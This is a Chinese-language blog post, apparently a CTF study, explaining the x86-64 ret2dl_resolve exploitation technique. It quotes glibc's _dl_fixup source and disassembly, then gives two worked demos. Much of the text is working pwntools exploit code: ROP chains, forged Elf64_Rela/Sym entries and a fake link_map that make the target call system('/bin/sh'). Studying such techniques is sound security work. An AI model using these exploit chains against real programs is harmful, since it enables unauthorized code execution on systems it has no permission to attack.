ret2dl_resolve x64 study

前言

  这篇文章记录ret2dl_resolvex64下的运用场景,这里有2个例子。

概要

  在x64下,ret2dl_resolve的利用有了一点变化,主要是两个结构体,如下:

1
2
3
4
5
6
7
8
9
10
11
// Elf64_Rela
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Xword;
typedef int64_t Elf64_Sxword;

typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//Elf64_Sym
typedef uint32_t Elf64_Word;
typedef uint16_t Elf64_Section;
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Xword;

typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index), 4 bytes */
unsigned char st_info; /* Symbol type and binding, 1 byte */
unsigned char st_other; /* Symbol visibility, 1 byte */
Elf64_Section st_shndx; /* Section index, 2 bytes */
Elf64_Addr st_value; /* Symbol value, 8 bytes */
Elf64_Xword st_size; /* Symbol size, 8 bytes */
} Elf64_Sym;

  _dl_fixup的源码如下,也可以在这里找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

其中,Rel64_Rela的取值方式发生了变化,不再是x86中采用的DT_JMPREL + reloc_offset直接寻址,而采用:

1
2
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

  这里的reloc_offset是该条目的在.rel.plt数组中的index,所以构造时要除以rela的大小,也就是/ 24

  其汇编体现如下:

1
2
3
4
5
6
7
8
9
10
11
Dump of assembler code for function _dl_fixup:
0x00007f69d60ab9f0 <+0>: push rbx
0x00007f69d60ab9f1 <+1>: mov r10,rdi ; link_map addr
0x00007f69d60ab9f4 <+4>: mov esi,esi ; rel_offset
0x00007f69d60ab9f6 <+6>: lea rdx,[rsi+rsi*2]
0x00007f69d60ab9fa <+10>: sub rsp,0x10
0x00007f69d60ab9fe <+14>: mov rax,QWORD PTR [rdi+0x68] ; DT_STRTAB
0x00007f69d60aba02 <+18>: mov rdi,QWORD PTR [rax+0x8] ;
0x00007f69d60aba06 <+22>: mov rax,QWORD PTR [r10+0xf8] ; DT_JMPREL
0x00007f69d60aba0d <+29>: mov rax,QWORD PTR [rax+0x8] ;
0x00007f69d60aba11 <+33>: lea r8,[rax+rdx*8] ; fetch reloc

  rsi即是传入的reloc_offset,可以看到r8 = rax + rsi * 3 * 8

  另一个需要注意的地方是:

1
2
3
4
5
6
7
8
9
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

  因为r_info我们会伪造的很大,以获得Rel64_Sym,所以在取出ndx时也会过大,从而导致&l->l_versions[ndx] segment fault,造成程序崩溃,所以我们需要做的是控制程序流不进入这个if,也就是说让:

1
l->l_info[VERSYMIDX (DT_VERSYM)] == NULL

  那么这个位置具体在哪呢,通过汇编,我们可以知道,它在:

1
2
3
0x00007f69d60aba51 <+97>:	mov    rax,QWORD PTR [r10+0x1c8]
0x00007f69d60aba58 <+104>: test rax,rax
0x00007f69d60aba5b <+107>: je 0x7f69d60abb10 <_dl_fixup+288>

  这里的r10就是link_map地址,所以我们需要先将r10+0x1c8的地方设置成0x0,这比x86的利用多了一步,我们要先leak出来link_map的地址,然后在写0。

  以上就是前景知识。下面看2个demo。

DEMO0

  这道题有明显的栈溢出,并且有read、write,所以我们第一步就要先leak link_map的地址,在x64中,采用寄存器传参,所以对于需要传三个参数的函数,一般比较难直接找到gadget。ROPgadget里找不到合适的gadget:

1
2
3
4
0x0000000000000b73 : pop rdi ; ret
0x0000000000000b71 : pop rsi ; pop r15 ; ret
0x0000000000000b6d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000008c4 : push rbp ; mov rbp, rsp ; call rax

  所以我们要另想办法,在很多程序的开始执行过程中经常存在init, xx_init之类的函数在,这些函数中可能存在如下可利用的gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000000B50 4C 89 EA                 mov     rdx, r13
.text:0000000000000B53 4C 89 F6 mov rsi, r14
.text:0000000000000B56 44 89 FF mov edi, r15d
.text:0000000000000B59 41 FF 14 DC call qword ptr [r12+rbx*8]
.text:0000000000000B5D 48 83 C3 01 add rbx, 1
.text:0000000000000B61 48 39 EB cmp rbx, rbp
.text:0000000000000B64 75 EA jnz short loc_B50
.text:0000000000000B66
.text:0000000000000B66 loc_B66: ; CODE XREF: init+34↑j
.text:0000000000000B66 48 83 C4 08 add rsp, 8
.text:0000000000000B6A 5B pop rbx
.text:0000000000000B6B 5D pop rbp
.text:0000000000000B6C 41 5C pop r12
.text:0000000000000B6E 41 5D pop r13
.text:0000000000000B70 41 5E pop r14
.text:0000000000000B72 41 5F pop r15
.text:0000000000000B74 C3 retn

  所以我们可以通过两段gadget传值,先用pop,然后在mov过去,同时注意将rbp=1, rbx=0。

  在这道题中遇到的另一个问题是溢出的字节太少,使用init的gadget,可以看到要6个pop,在这个环境中,我们没有那么多空间。那怎么解决这个问题呢?

  我们从pop的gadget中可以看到pop的寄存器都不是常用寄存器,r12这些很可能在整个函数中都没有使用过,也就是说我们可以在pop设置好寄存器后不立即调用mov,call,因为溢出太小布局不了,我们再回到存在漏洞的函数,然后在激活第二个gadget。

  以泄露link_map为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# pause()
vuln_func = base_addr + 0x0000000000000A44

payload = 'b' * 24 + p64(init_gadget_1) + p64(0) + p64(1) + p64(write_got)
payload += p64(8) + p64(link_map_addr) + p64(1) + p64(vuln_func)
p.sendline(payload)

# 这里又跳转到原漏洞的逻辑处理

# pause()
payload = padding + p64(init_gadget_2) + 'a' * 56 + p64(main_addr)
p.sendline(payload)

# init_gadget_2 为激发mov,call r12.

  并且为了解决多次ROP的需求,我们要连续迁栈,控rip,这里我们可以使用pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret这个gadget达到目的。

  最后我们来伪造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def fake_Elf64_RELA():
r_offset = p64(pelf.got['read'])
temp = ((fake_start_addr + align_padding + 24) - addr_dynsym)
if (temp % 24) != 0:
log.debug(temp % 24)
log.error("div error.....")
r_info = temp / 24
r_info = p64((r_info << 32) | 0x7)
r_addend = p64(0)
return r_offset + r_info + r_addend


def fake_Elf64_Sym():
st_name = p32((fake_start_addr + align_padding + 24 + 24) - addr_dynstr)
return st_name + p32(0x12) + p64(0) + p64(0)

results = fake_Elf64_RELA() + fake_Elf64_Sym()

  这里需要注意的是r_info % 24 == 0,因为找Rel64_Sym也是用的数组索引:

1
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

  最后在调_dl_runtime_resolve时仍采用的传递方式,而不是使用寄存器。所以最后的一击大概是这样的:

1
2
3
4
5
6
7
8
9
10
pop_rdi_ret= base_addr + 0x0000000000000b73
fake_reloc_index = (fake_start_addr + align_padding) - addr_relaplt
fake_reloc_index /= 0x18
log.info("fake_reloc_index: " + hex(fake_reloc_index))
cmd_args_addr = fake_start_addr + align_padding + 48 + 8
pause()
payload = 'b' * 24 + p64(pop_rdi_ret) + p64(cmd_args_addr)
payload += p64(addr_plt0) + p64(fake_reloc_index) # fake_reloc_index 采用栈传递
payload += results
payload += "system".ljust(8, '\x00') + "/bin/sh\x00"

DEMO1

  在上面的demo中提到,x64的利用上需要先leak link_map,在这个例子中程序没有write、puts等可以输出的函数,但给了libc,所以在这个场景中就没法直接leak了。



  回到_dl_fixup的源码,在:

1
2
3
4
5
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0){...}
else {
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

  可以看到如果是已解析过的函数会直接调用DL_FIXUP_MAKE_VALUE,然后我们再看这个是怎么样的:



  也就是说该函数会直接返回l->l_addr + sym->st_value作为解析结果。

  那么一个攻击思路就是如果我们让l->l_addr或sym->st_value的值指向在__libc_start_maingetsgot,那么我们就间接的拿到了libc的地址,然后再让另一个设置成该函数相对system的偏移,那么我们就能得到system的实际地址。

1
system_offset = libc.sym['system'] - libc.sym['__libc_start_main']

  以上就是攻击思路,那么我们在看具体的实现。

  根据上述,我们需要控制l->l_addr和sym->st_value,就意味着我们要伪造link_map,reloc_offset,Rel64_Rela,Rel64_Sym。攻击链:



  第一步先绕过if,设置sym->st_other,根据汇编结果:

1
2
3
4
5
6
0x00007f69d60aba3b <+75>:	add    rbx,QWORD PTR [r8]
0x00007f69d60aba3e <+78>: cmp ecx,0x7
0x00007f69d60aba41 <+81>: jne 0x7f69d60abb97 <_dl_fixup+423>
0x00007f69d60aba47 <+87>: test BYTE PTR [rsi+0x5],0x3
0x00007f69d60aba4b <+91>: jne 0x7f69d60abae9 <_dl_fixup+249>
// jne是一个条件转移指令。当ZF=0,转至标号处执行。

  rsi+0x5就是sym->st_other,那么我们就需要sym->st_other == 3。

  第二,fake link_map,完整的link_map无法伪造,根据上图也无需伪造完整的,我们只关心有用的变量。link_map的结构体可以在这里找到。

  可以算出l_info在link_map的第64个字节处,那么DT_STRTAB,DT_SYMTAB,DT_JMPREL怎么伪造呢?我们可以从源码中得到他们的位置:









  我们可以用下面函数生成link_map:

1
2
3
4
5
6
7
8
9
10
11
def faking_link_map():
self_length = 256
system_offset = libc.sym['system'] - libc.sym['__libc_start_main']
l_addr = p64(system_offset)
padding = p64(0xdeadbeefdeadbeef) * 7
l_info = p64(0xdeadbeefdeadbeef) * 5 # pading
l_info += p64(bss_addr) # DT_STRTAB, 随便指,后面用不上
l_info += p64(bss_addr + 4 *8 + 256 + 16 + 24 + 16) # DT_SYMTAB
l_info += p64(0xdeadbeefdeadbeef) * (23 - 6 - 1) # pading
l_info += p64(bss_addr + 8 * 6 + self_length) # DT_JMPREL
return l_addr + padding + l_info # length: 8 * 32 = 256

  这里需要注意的是DT_SYMTAB和DT_JMPREL的值并不是直接就是指定的,因为代码中是取地址。这里跟了一个正常的link_map l_info:






  当然,汇编中也可以看出来:

1
2
3
4
5
6
   0x00007f69d60aba06 <+22>:	mov    rax,QWORD PTR [r10+0xf8] ; DT_JMPREL
0x00007f69d60aba0d <+29>: mov rax,QWORD PTR [rax+0x8] ; 问题所在
0x00007f69d60aba11 <+33>: lea r8,[rax+rdx*8] ; fetch reloc
0x00007f69d60aba15 <+37>: mov rax,QWORD PTR [r10+0x70] ; DT_SYMTAB
=> 0x00007f69d60aba19 <+41>: mov rcx,QWORD PTR [r8+0x8]
0x00007f69d60aba1d <+45>: mov rax,QWORD PTR [rax+0x8] ; 问题所在

  Rel64_rela的fake,比较简单:

1
2
3
4
5
6
7
8
9
10
def fake_Elf64_RELA():
r_offset = p64(0x5dc960 + 48) # 保证 l_addr + r_offset 可写
temp = 0
if (temp % 24) != 0:
log.debug(temp % 24)
log.error("div error.....")
r_info = temp / 24
r_info = p64((r_info << 32) | 0x7)
r_addend = p64(0)
return r_offset + r_info + r_addend # length: 8 * 3 = 24

  Rel64_Sym不用伪造,我们把它地址指向pelf.got["__libc_start_main"] - 8,这样,st_value就是__libc_start_main的got。

  最后的exp就如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cmd_args = bss_addr + 6 * 8 + 256 + 16 + 24 + 16
link_map_addr = bss_addr + 8 * 6
rel_offset = 0
fake_link_map = faking_link_map()

fake_rela = fake_Elf64_RELA()

fake_rela_addr = bss_addr + 6 * 8 + 256 + 16

fake_sym_addr = pelf.got["__libc_start_main"] - 8

payload2 = 'A' * 8 + p64(pop_rdi_ret) + p64(cmd_args)
payload2 += p64(plt0) + p64(link_map_addr) + p64(rel_offset)
payload2 += fake_link_map + p64(0xdeadbeefdeadbeef) + p64(fake_rela_addr)
payload2 += fake_rela + p64(0xdeadbeefdeadbeef) + p64(fake_sym_addr)

payload2 += "/bin/sh\x00" + '\n'

payload = (payload2).ljust(0x1000, '\x00')
log.info("calling system...")
pause()
p.send(payload)

TIPS

  因为这题使用了wrapper

1
2
3
4
5
6
7
8
def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait()

if __name__ == '__main__':
payload = sys.stdin.read(0x1000)
exec_serv('./demo1', payload)

  我们要一次将exp发送出去,并足够0x1000,因为gets遇到\n会停止读,所以我们要在每个payload的后面用\n截断。

  另一个tips:当程序使用socat启动时,我们可以用:



1
sudo gdb attach 1947

  然后将断点下在:

1
b __memcpy_sse2

  因为此时才将真正的binary加载到内存:



  然后再下正常的断点就行了。

参考链接:

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×